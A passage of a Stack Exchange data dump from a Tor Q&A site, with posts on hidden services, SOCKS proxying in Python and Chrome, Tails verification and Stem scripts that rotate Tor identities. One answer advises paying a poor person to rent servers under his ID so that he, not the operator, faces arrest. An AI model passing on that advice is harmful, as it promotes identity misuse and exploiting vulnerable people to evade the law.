(the private key that's paired with the public key which the .onion address is derived from).&#xA;Therefore only the hidden service can create its hidden service descriptor,&#xA; so we know the introduction points are legitimate.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;and finally what information is sent to the introduction point to tell it about the rendezvous circuit&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The client sends the hidden service two things via the introduction point: it tells it the rendezvous point and a password. The rendezvous point is where the hidden service &lt;em&gt;meets&lt;/em&gt; the client, and the password is used by the client and server to identify each other.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-07-03T00:21:26.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3432" PostTypeId="1" CreationDate="2014-07-03T13:24:09.520" Score="1" ViewCount="2096" Body="&lt;p&gt;Are there any libraries that make it easier to do networking in Python using Tor? I'd like to be able to write IRC bots/clients and possibly use other networks, so none of the HTTP libraries which have you set a proxy server would work, as I need access to more than just HTTP.  The best solution for me would be a library which allows me to do pretty much direct socket programming in Python, only it redirects things through the Tor network.  Does something like this exist?  The next best thing would be a library for SOCKS5 communication, but I couldn't find anything like that either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I should also note that I've come across socksipy, but that project seems to have been abandoned, so I'm not sure if I should be using it.  Does anyone know the status of the project or if it's okay to use?&lt;/p&gt;&#xA;" OwnerUserId="3077" LastEditorUserId="3077" LastEditDate="2014-07-03T13:41:11.657" LastActivityDate="2014-07-04T23:53:47.993" Title="Communicating through Tor using Python" Tags="|socks|python|development|stem|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3435" PostTypeId="1" AcceptedAnswerId="3447" CreationDate="2014-07-03T17:14:02.237" Score="19" ViewCount="53574" Body="&lt;p&gt;Note: I am aware that the Tor Project recommends against this and I want to do it anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've downloaded the Tor Relay Bundle and everything seems to be working fine. I can see myself  as a relay on Atlas. However, I can't seem to configure Google Chrome to use Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've changed my proxy settings to use &lt;code&gt;localhost&lt;/code&gt; and &lt;code&gt;127.0.0.1&lt;/code&gt;, I've tried ports &lt;code&gt;8118&lt;/code&gt;, &lt;code&gt;9030&lt;/code&gt;, &lt;code&gt;9031&lt;/code&gt;, &lt;code&gt;9050&lt;/code&gt;, and &lt;code&gt;9051&lt;/code&gt;, but I always end up getting the following when trying to access a website:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This webpage is not available.&lt;br&gt;&#xA;  The web page at &lt;a href=&quot;https://www.google.com/&quot; rel=&quot;noreferrer&quot;&gt;https://www.google.com/&lt;/a&gt; might be temporarily down or it may have moved permanently to a new web address.&lt;br&gt;&#xA;  Error code: ERR_TUNNEL_CONNECTION_FAILED&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;My Tor Settings:&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/DrG8S.png&quot; alt=&quot;Tor Sharing tab&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pXGmG.png&quot; alt=&quot;Tor Advanced tab&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: In addition, when I try to change my proxy settings, the Tor message log says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Jul 04 14:16:53.831 [Warning] Socks version 67 not recognized. (Tor is not an http proxy.)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user994" LastEditorDisplayName="user994" LastEditDate="2014-07-04T18:35:37.023" LastActivityDate="2019-06-14T10:24:02.347" Title="How do I configure Chrome to use Tor?" Tags="|configuration|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3436" PostTypeId="2" ParentId="3428" CreationDate="2014-07-03T18:28:59.823" Score="-1" Body="&lt;p&gt;you can not trust to anyone, they can be honeypot and arrest your users or they can steal information about your users or bitcoins of your users. the best is to follow schema of some drug dealers: they keep drugs at some poor man who will keep it for monthly money. you can do the same with server. I looked many hosting and data centers, believe me, even if they accept bitcoins, they record your IP address and they demand copy of your ID. simply, they must rent server in data center and then they resell it, it means they had to give their ID and if you do anything forbidden with server, he will be arrested because he rented servers with ID. you can also pay some poor man to use his ID to rent server for you but you must pay him good. there are people who will do anything for money and later they will have to run from cops. who needs money urgently, he will do it. you can also place serve rin your home, but again, your ISP can decide that you can not use tor. not all ISPs allow tor. by the way, you can also rent server and provide tor hosting to the other people :)  &lt;/p&gt;&#xA;" OwnerUserId="3081" LastActivityDate="2014-07-03T18:28:59.823" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3437" PostTypeId="1" CreationDate="2014-07-03T19:31:38.733" Score="1" ViewCount="1017" Body="&lt;p&gt;For whatever reason I can only use HTTPS connection to the internet, regardless of the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Mac Mini with Mountain Lion 10.8.&#xA;The problem occurs when TorBrowserBundle is not running, using Safari or Firefox. Maybe Tor is completely innocent, but it's the one that comes to my mind when thinking about secure connections. I just don't know where else to dig deeper.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a possibility that Tor changes network connections to 'HTTPS only' and forgets to reset before closing it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other way to reject HTTP connections?  &lt;/p&gt;&#xA;" OwnerUserId="3082" LastEditorUserId="88" LastEditDate="2014-07-10T09:28:39.963" LastActivityDate="2014-07-10T09:28:39.963" Title="Only HTTPS connections allowed" Tags="|tor-browser-bundle|https|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3438" PostTypeId="2" ParentId="3437" CreationDate="2014-07-03T22:06:31.617" Score="1" Body="&lt;p&gt;The Tor Browser Bundle ships the plugin &lt;a href=&quot;https://www.eff.org/https-everywhere&quot; rel=&quot;nofollow&quot;&gt;HTTPS Everywhere&lt;/a&gt;. This plugin tries to access many sites via HTTPS. However the plugin works on a list of sites. When a site is not listed or has some weaknesses it is not accessed through HTTPS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you use another browser (other than Tor Browser) and this browser has no plugin installed, you are be able to access HTTP as well as HTTPS sites. &lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-07-03T22:06:31.617" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3439" PostTypeId="2" ParentId="3432" CreationDate="2014-07-03T22:15:01.927" Score="2" Body="&lt;p&gt;If you want to use event-based code (namely Twisted), there's &lt;a href=&quot;https://github.com/habnabit/txsocksx&quot; rel=&quot;nofollow&quot;&gt;https://github.com/habnabit/txsocksx&lt;/a&gt; for client-side stuff (i.e. socks proxy) and &lt;a href=&quot;http://txtorcon.readthedocs.org/en/latest/&quot; rel=&quot;nofollow&quot;&gt;http://txtorcon.readthedocs.org/en/latest/&lt;/a&gt; for speaking Tor's control protocol to Tor (and other things, like launching new Tor instances for hidden services, etc).&lt;/p&gt;&#xA;" OwnerUserId="3083" LastActivityDate="2014-07-03T22:15:01.927" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3440" PostTypeId="2" ParentId="1546" CreationDate="2014-07-03T22:18:08.300" Score="1" Body="&lt;p&gt;The latest txtorcon supports endpoint-strings, so you can use Twisted built-in Web server to host any WSGI Web application (and twistd comes with SystemD support too). See here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://txtorcon.readthedocs.org/en/latest/howtos.html#endpoints-enable-tor-with-any-twisted-service&quot; rel=&quot;nofollow&quot;&gt;http://txtorcon.readthedocs.org/en/latest/howtos.html#endpoints-enable-tor-with-any-twisted-service&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The command-line would look something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;twistd web --port onion:hiddenServiceDir=/tmp/something --wsgi my.app.Main&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;(or just &quot;onion:80&quot; for the port to create a new ephemeral hidden-serivce with keys in $TMP)&lt;/p&gt;&#xA;" OwnerUserId="3083" LastEditorUserId="88" LastEditDate="2014-07-03T22:50:30.757" LastActivityDate="2014-07-03T22:50:30.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3441" PostTypeId="1" CreationDate="2014-07-03T23:21:23.543" Score="4" ViewCount="2181" Body="&lt;p&gt;just wondering if anyone can shed a lil light on this, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;basically i am wondering what processes must be followed to allow alice to retrieve the descriptors for bobs hidden service, what packets are needed to be sent for this, and what is the structure of these packets as i can not find this information in the spec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i understand Alice's OP opens a stream to a directory server via Tor, and makes an HTTP GET request for the document '/tor/rendezvous/', where '' is replaced with the encoding of Bob's  public key as described above. but what is the structure of this packet&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit i have looked again at the document and think i have found the structure however it states this is for bob and not alice so am a lil unsure if correct :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; KL    Key length                            [2 octets]&#xA; PK    Bob's public key                      [KL octets]&#xA; TS    A timestamp                           [4 octets]&#xA; NI    Number of introduction points         [2 octets]&#xA; Ipt   A list of NUL-terminated ORs          [variable]&#xA; SIG   Signature of above fields             [variable]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is this the packet required to be sent to an HSDir node, what will this packet need to be sent in, I.e. a relay packet ? and could some one explain what the last three items in packet are mainly NI and Ipt, and what values these should be&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and what information will i receive back and what structure will this be in ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks guys&lt;/p&gt;&#xA;" OwnerUserId="3075" LastActivityDate="2015-12-17T16:37:30.417" Title="Retrieving hidden service descriptors" Tags="|onion-services|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3442" PostTypeId="2" ParentId="1205" CreationDate="2014-07-04T10:35:18.710" Score="1" Body="&lt;p&gt;Since it looks like you are new to Tor, it may be best to use Tor browser bundle. As of today the newest version of TBB is 3.6.2. One additional benefit of TBB is that many people use that, and it becomes difficult to find you among all others. In technical terms it is called fingerprinting. The larger the number of users who use exactly same version of an identical software, the more difficult it becomes to distinguish them from each other.&lt;/p&gt;&#xA;" OwnerUserId="923" LastEditorUserId="923" LastEditDate="2014-07-08T17:49:42.050" LastActivityDate="2014-07-08T17:49:42.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3444" PostTypeId="1" CreationDate="2014-07-04T12:35:38.970" Score="1" ViewCount="1115" Body="&lt;p&gt;I tried to access some website which are blocked in my country using Tor Browser Bundle but they are still blocked. The sign of government showed that this website is blocked because of Junta's order. How do I access to this website? And what happened?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example: soccersuck.com&lt;/p&gt;&#xA;" OwnerUserId="3085" LastEditorUserId="923" LastEditDate="2014-07-04T14:27:27.753" LastActivityDate="2014-10-04T13:50:12.540" Title="Why couldn't I access some blocked website?" Tags="|tor-browser-bundle|blocked-services|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3445" PostTypeId="2" ParentId="3444" CreationDate="2014-07-04T13:26:12.387" Score="1" Body="&lt;p&gt;I attempted to connect to the web site in your example. It appeared that I was redirected to another web site (www.tcsd.info). Although I could not read the language in this site, it appeared to me that it shows Royal Thai police logo among other logos. My best estimate is that security forces have physically taken over the web site and censored it.&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-07-04T13:26:12.387" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3447" PostTypeId="2" ParentId="3435" CreationDate="2014-07-04T23:19:57.583" Score="16" Body="&lt;p&gt;&lt;strong&gt;Warning:&lt;/strong&gt; The Tor Project advises against configuring systems manually like this. The safe method is the &lt;strong&gt;Tor Browser Bundle&lt;/strong&gt;, you can &lt;em&gt;not&lt;/em&gt; expect Chrome to keep you anonymous just like this. Another option might be to tunnel an entire (virtual) machine's traffic through Tor (like Tails OS does I think) but that is out of scope here.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;That error message is useful. It means the port is right because Tor is receiving data from Chrome, but Tor tries to interpret it as SOCKS data and is unable to recognize it (67 is not an existing version of SOCKS). This means Chrome is using the wrong protocol to talk to Tor, most likely (like the error says) Chrome is talking like it would to an HTTP proxy. But Tor is not an HTTP proxy, it's a SOCKS proxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So now the question is how to configure Chrome to use SOCKS instead of whatever it currently uses. This doesn't seem to be too hard to find:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://duckduckgo.com/?q=chrome+socks+proxy&quot; rel=&quot;noreferrer&quot;&gt;https://duckduckgo.com/?q=chrome+socks+proxy&lt;/a&gt; -&gt; &lt;a href=&quot;http://www.chromium.org/developers/design-documents/network-stack/socks-proxy&quot; rel=&quot;noreferrer&quot;&gt;http://www.chromium.org/developers/design-documents/network-stack/socks-proxy&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since Chrome is basically Chromium plus a few (non-open source) Google services added, this should work on Chrome as well as Chromium. Assuming you use Windows (another non-recommended platform for safety), it might be something like this in cmd.exe:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd C:\path\to\chrome (might be somewhere in AppData, or maybe Program Files)&#xA;chrome.exe --proxy-server=&quot;socks5://localhost:9050&quot; --host-resolver-rules=&quot;MAP * 0.0.0.0 , EXCLUDE localhost&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can find this path\to\chrome by rightclicking on a shortcut to Chrome and then choosing either properties or open file location. Both will show the full path where the file, chrome.exe I assume, is contained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Linux you probably would not need to use the &lt;code&gt;cd&lt;/code&gt; command and the rest would likely be the same. In Mac OS X I don't know (please edit this answer if you know).&lt;/p&gt;&#xA;" OwnerUserId="3067" LastEditorUserId="3067" LastEditDate="2018-01-31T12:23:03.763" LastActivityDate="2018-01-31T12:23:03.763" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3448" PostTypeId="2" ParentId="3432" CreationDate="2014-07-04T23:53:47.993" Score="1" Body="&lt;p&gt;For client usage controller libraries like Stem and Txtorcon aren't necessary. Tor is a local socks proxy and any socket library (SocksiPy, PycURL, etc) will do the trick. See the tutorial for this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html&quot; rel=&quot;nofollow&quot;&gt;Tutorial: To Russia With Love&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is making sure your application doesn't leak. DNS queries and other edge cases might still expose your real IP so checking your application with something like Wireshark might be wise.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-07-04T23:53:47.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3449" PostTypeId="2" ParentId="3362" CreationDate="2014-07-05T00:15:46.413" Score="1" Body="&lt;p&gt;As I understand Tor and the way it works you could use &lt;a href=&quot;http://www.crowdstrike.com/community-tools/&quot; rel=&quot;nofollow&quot;&gt;Tortilla&lt;/a&gt; to route any type of traffic from any source through Tor.&lt;/p&gt;&#xA;" OwnerUserId="3066" LastActivityDate="2014-07-05T00:15:46.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3451" PostTypeId="1" AcceptedAnswerId="3462" CreationDate="2014-07-05T03:03:32.783" Score="2" ViewCount="2137" Body="&lt;p&gt;I'm coding something in Python (Stem.) And I've hit a wall. I'm trying to get 2 relays working simultaneously, being able to change the identity independently for each one too. And I don't think the controller is working?.. I have no errors, so I cannot tell. Could anyone take a quick look at my test code for me?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I can connect to multiple exit nodes, but I can't change identities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.P.S. I'm using Python 3.4&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import socks&#xA;import socket&#xA;import subprocess&#xA;import stem.connection&#xA;import stem.socket&#xA;from selenium import webdriver&#xA;from stem.control import Controller&#xA;&#xA;global requiredTorRelays&#xA;global child_pid&#xA;global relays&#xA;global driver&#xA;requiredTorRelays = math.ceil(_.MAX_FBTC_ACCOUNTS_/270)&#xA;driver = []&#xA;child_pid = []&#xA;&#xA;def initTor(i):&#xA;    print(&quot;\n[+] TOR NETWORK &quot;+str(i)+&quot; INITIALIZING...&quot;)&#xA;    print(&quot; - Updating Preferences...&quot;)&#xA;    ff_prof = webdriver.FirefoxProfile()&#xA;&#xA;    ff_prof.set_preference( &quot;places.history.enabled&quot;, False )&#xA;    ff_prof.set_preference( &quot;privacy.clearOnShutdown.offlineApps&quot;, True )&#xA;    ff_prof.set_preference( &quot;privacy.clearOnShutdown.passwords&quot;, True )&#xA;    ff_prof.set_preference( &quot;privacy.clearOnShutdown.siteSettings&quot;, True )&#xA;    ff_prof.set_preference( &quot;privacy.sanitize.sanitizeOnShutdown&quot;, True )&#xA;    ff_prof.set_preference( &quot;signon.rememberSignons&quot;, False )&#xA;    ff_prof.set_preference( &quot;network.cookie.lifetimePolicy&quot;, 2 )&#xA;    ff_prof.set_preference( &quot;network.dns.disablePrefetch&quot;, True )&#xA;    ff_prof.set_preference( &quot;network.http.sendRefererHeader&quot;, 0 )&#xA;&#xA;    ff_prof.set_preference( &quot;network.proxy.type&quot;, 1 )&#xA;    ff_prof.set_preference( &quot;network.proxy.socks_version&quot;, 5 )&#xA;    ff_prof.set_preference( &quot;network.proxy.socks&quot;, '127.0.0.1' )&#xA;    ff_prof.set_preference( &quot;network.proxy.socks_port&quot;, 9050+i )&#xA;    ff_prof.set_preference( &quot;network.proxy.socks_remote_dns&quot;, True )&#xA;    ff_prof.set_preference( &quot;browser.link.open_newwindow.restriction&quot;, 1 )&#xA;&#xA;    ff_prof.set_preference( &quot;javascript.enabled&quot;, True )&#xA;    ff_prof.update_preferences()&#xA;    print(&quot; - Opening Browser...&quot;)&#xA;    os.environ['DISPLAY'] = ':99'&#xA;    driver.extend([webdriver.Firefox(ff_prof)])&#xA;&#xA;    if(i==0):&#xA;        j=''&#xA;    else:&#xA;        j=str(i)&#xA;&#xA;    tor_path = _.TOR_PATH_&#xA;    DETACHED_PROCESS = 0x00000008&#xA;&#xA;    print(&quot; - Starting TOR Process...&quot;)&#xA;&#xA;    tor_process = subprocess.Popen( '&quot;'+_.TOR_PATH_+'&quot; --RunAsDaemon 1 --CookieAuthentication 1 --HashedControlPassword &quot;'+_.TOR_HASHED_PASS_+'&quot; --ControlPort '+str(9060+i)+' --PidFile tor'+j+'.pid --SocksPort '+str(9050+i)+' --DataDirectory data/tor'+j, creationflags=DETACHED_PROCESS)&#xA;    child_pid.extend([tor_process.pid])&#xA;    print(&quot; - Starting TOR Controller...&quot;)&#xA;&#xA;    C_PORT=int(9060+i)&#xA;&#xA; ## Function to check how many TOR Configuration Files are present&#xA;def checkNoTorFolders():&#xA;    torCount = 0&#xA;    folders = next(os.walk(&quot;data/&quot;))[1]&#xA;    for folder in folders:&#xA;        if(folder[0:3]==&quot;tor&quot;):&#xA;            torCount+=1&#xA;    return torCount&#xA;&#xA;## Function to create a new TOR Configuration File&#xA;def createNewDataFolder(i):&#xA;    if(i==0):&#xA;        if(not os.path.exists('data/tor')):&#xA;            os.makedirs('data/tor')&#xA;    else:&#xA;        if(not os.path.exists('data/tor'+str(i))):&#xA;            os.makedirs('data/tor'+str(i))&#xA;&#xA;&#xA;## Function to create new ID&#xA;def newID(i):&#xA;    with Controller.from_port(port = 9060+int(i)) as controller:&#xA;        controller.authenticate(_.TOR_PASS_)&#xA;        controller.signal(Signal.NEWNYM)&#xA;&#xA;## Main Process/Call Functions&#xA;&#xA;i=0&#xA;&#xA;if(int(checkNoTorFolders())&amp;lt;requiredTorRelays):&#xA;    print(&quot;\n[+] CREATING &quot;+str(requiredTorRelays-int(checkNoTorFolders()))+&quot; NEW DATA FOLDERS...&quot;)&#xA;    while(i&amp;lt;=requiredTorRelays-int(checkNoTorFolders())-1):&#xA;        createNewDataFolder(int(checkNoTorFolders()))&#xA;        print(&quot;- Created Data Folder: &quot;+str(int(checkNoTorFolders())))&#xA;&#xA;for x in range(0,int(checkNoTorFolders())):&#xA;    initTor(x)&#xA;    driver[x].get(&quot;http://wtfismyip.com/text&quot;)&#xA;    print(' - IP: '+driver[x].find_element_by_tag_name('pre').text)&#xA;    ip.extend(driver[x].find_element_by_tag_name('pre').text)&#xA;&#xA;print(&quot;\n[+] TESTING NETWORK(S)...&quot;)&#xA;&#xA;## Test Identity Changing&#xA;for limit in range(0,3):&#xA;    for i in range(0,requiredTorRelays):&#xA;        print(&quot;\n[+] RETRIEVING NEW IDENTITY [&quot;+str(i)+&quot;]...&quot;)&#xA;        newID(i)&#xA;        driver[i].get(&quot;http://wtfismyip.com/text&quot;)&#xA;        print(' - IP: '+driver[i].find_element_by_tag_name('pre').text)&#xA;&#xA;    time.sleep(10)&#xA;&#xA;input()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3090" LastEditorUserId="3090" LastEditDate="2014-07-05T16:25:25.670" LastActivityDate="2014-07-06T05:00:13.133" Title="(Stem) Multiple Exit Nodes - Changing ID not working?" Tags="|exit-relays|python|stem|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3452" PostTypeId="2" ParentId="3231" CreationDate="2014-07-05T03:12:32.237" Score="3" Body="&lt;p&gt;I would comment on Nathan's post, but I don't have enough rep. He's completely right. They offer the link to their Source Code in their download's section, along with a link to their Git Repo - &lt;a href=&quot;https://github.com/subgraph/Orchid&quot; rel=&quot;nofollow&quot;&gt;https://github.com/subgraph/Orchid&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-07-05T03:12:32.237" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3454" PostTypeId="2" ParentId="3444" CreationDate="2014-07-05T06:23:01.733" Score="0" Body="&lt;p&gt;The websites maybe blocking the Tor users, you may want to try to visit the sites by online web proxy.&lt;/p&gt;&#xA;" OwnerUserId="3092" LastEditorUserId="923" LastEditDate="2014-07-05T11:08:16.567" LastActivityDate="2014-07-05T11:08:16.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3457" PostTypeId="1" AcceptedAnswerId="3460" CreationDate="2014-07-05T07:03:15.357" Score="2" ViewCount="1091" Body="&lt;p&gt;Trying to verify the ISO image using the command line (Terminal in Mac). However, the folder which I saved it to won't allow me to find it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instructions: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd [the directory in which you downloaded the key] gpg --keyid-format long --import tails-signing.key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I did:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd [Downloads] gpg --keyid-format long --import tails-signing.key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Result: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;--keyid-format long --import tails-signing.keycd [Downloads] gpg: can't open tails-signing.keycd': No such file or directory&lt;br&gt;&#xA;  gpg: can't open[Downloads]': No such file or directory gpg: Total number processed: 0 MacBook-Pro:~ Sello$ gpg --keyid-format long --import tails-signing.key&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I also tried the folder name which I saved it to, and desktop.&lt;/p&gt;&#xA;" OwnerUserId="3047" LastEditorUserId="320" LastEditDate="2014-07-05T21:03:45.147" LastActivityDate="2014-11-27T22:21:31.140" Title="Verifying Tails ISO problem" Tags="|tails|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3458" PostTypeId="2" ParentId="3441" CreationDate="2014-07-05T10:25:31.300" Score="5" Body="&lt;p&gt;Tor now has a HSFETCH control port command which allows Tor hidden service descriptors to be retrieved from the hidden service directories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've uploaded a simple Python script which uses the Stem library to fetch HS descriptors via Tor. &lt;a href=&quot;https://gist.github.com/DonnchaC/13b744a1e30b7d34bc26&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/DonnchaC/13b744a1e30b7d34bc26&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="819" LastEditorUserId="819" LastEditDate="2015-12-17T16:37:30.417" LastActivityDate="2015-12-17T16:37:30.417" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3459" PostTypeId="2" ParentId="3451" CreationDate="2014-07-05T20:42:50.193" Score="1" Body="&lt;p&gt;I replied on irc but maybe you had left...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're not getting an exception then what makes you think it isn't working? Tor limits the rate at which it accepts NEWNYMs to once every ten seconds, so if you're not finding that circuits are changing then that could be it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please don't cycle circuits too rapidly though. That &lt;a href=&quot;https://stem.torproject.org/faq.html#how-do-i-request-a-new-identity-from-tor&quot; rel=&quot;nofollow&quot;&gt;puts strain on the network&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2014-07-05T20:42:50.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3460" PostTypeId="2" ParentId="3457" CreationDate="2014-07-05T21:00:00.657" Score="2" Body="&lt;p&gt;The &lt;code&gt;[&lt;/code&gt; and &lt;code&gt;]&lt;/code&gt; characters are part of the help/instruction; you should not type them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And these are actually two commands.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when the key file is in a folder named &lt;code&gt;Downloads&lt;/code&gt;, the first command would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd Downloads&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The second command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --keyid-format long --import tails-signing.key&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="320" LastActivityDate="2014-07-05T21:00:00.657" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="3461" PostTypeId="1" CreationDate="2014-07-05T21:25:10.757" Score="1" ViewCount="130" Body="&lt;p&gt;I'm using Shadow to run a network simulation of Tor, with the scallion plug-in. When parsing and plotting the results, I only managed to retrieve the 'results-timing' graph. How do I parse and retrieve results to measure more performance characteristics, such as network throughput? Below are the steps I've taken to get the 'results-timing' graph:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cd shadow-git-clone/resource/scallion-hosts/&#xA;$ tar xaf tiny-m1.large.tar.xz&#xA;$ mv tiny-m1.large tor_test&#xA;$ cd tor_test&#xA;$ scallion&#xA;$ python /home/ubuntu/shadow-git-clone/contrib/analyze.py parse --output testing scallion.log&#xA;$ python contrib/analyze.py plot --title &quot;Test 1 Tor&quot; --data testing/ &quot;testing&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Can I use the file-transfer plug-in alongside scallion? The &lt;code&gt;scallion --help&lt;/code&gt; input does not show how to switch between measuring different types of performance characteristics.&lt;/p&gt;&#xA;" OwnerUserId="1922" LastActivityDate="2014-07-05T21:25:10.757" Title="How to plot different results in Shadow with Scallion" Tags="|tor-browser-bundle|configuration|torcheck|tor-cloud|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3462" PostTypeId="2" ParentId="3451" CreationDate="2014-07-06T05:00:13.133" Score="1" Body="&lt;p&gt;I have re-written the code, as it seems my code was just awful. I'm not sure what the problem was, however, here's the update for anyone trying to do the same:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;assert str is not bytes&#xA;&#xA;from lib_socks_proxy_2013_10_03 import monkey_patch as socks_proxy_monkey_patch&#xA;&#xA;socks_proxy_monkey_patch.monkey_patch()&#xA;&#xA;import io&#xA;import re&#xA;&#xA;import time&#xA;&#xA;import stem.connection&#xA;import stem.socket&#xA;import stem.process &#xA;from stem import Signal&#xA;from stem.control import Controller&#xA;from stem.util import term&#xA;&#xA;from urllib import request as req&#xA;from lib_socks_proxy_2013_10_03 import socks_proxy_context&#xA;&#xA;import config&#xA;&#xA;tor_process = []&#xA;_ = config.variables&#xA;&#xA;def startTor(i):&#xA;    print(&quot; - Starting TOR Process...&quot;)    &#xA;&#xA;    tor_process.extend([stem.process.launch_tor_with_config(&#xA;        config={&#xA;            'SocksPort':str(9050+i),&#xA;            'ControlPort':str(9070+i),&#xA;            'CookieAuthentication':str(1),&#xA;            'HashedControlPassword':str(_.TOR_HASHED_PASS_),&#xA;            'DataDirectory':'data/tor'+str(i),&#xA;            'PidFile':'tor'+str(i)+'.pid',&#xA;                        },&#xA;        init_msg_handler = print_bootstrap_lines,&#xA;        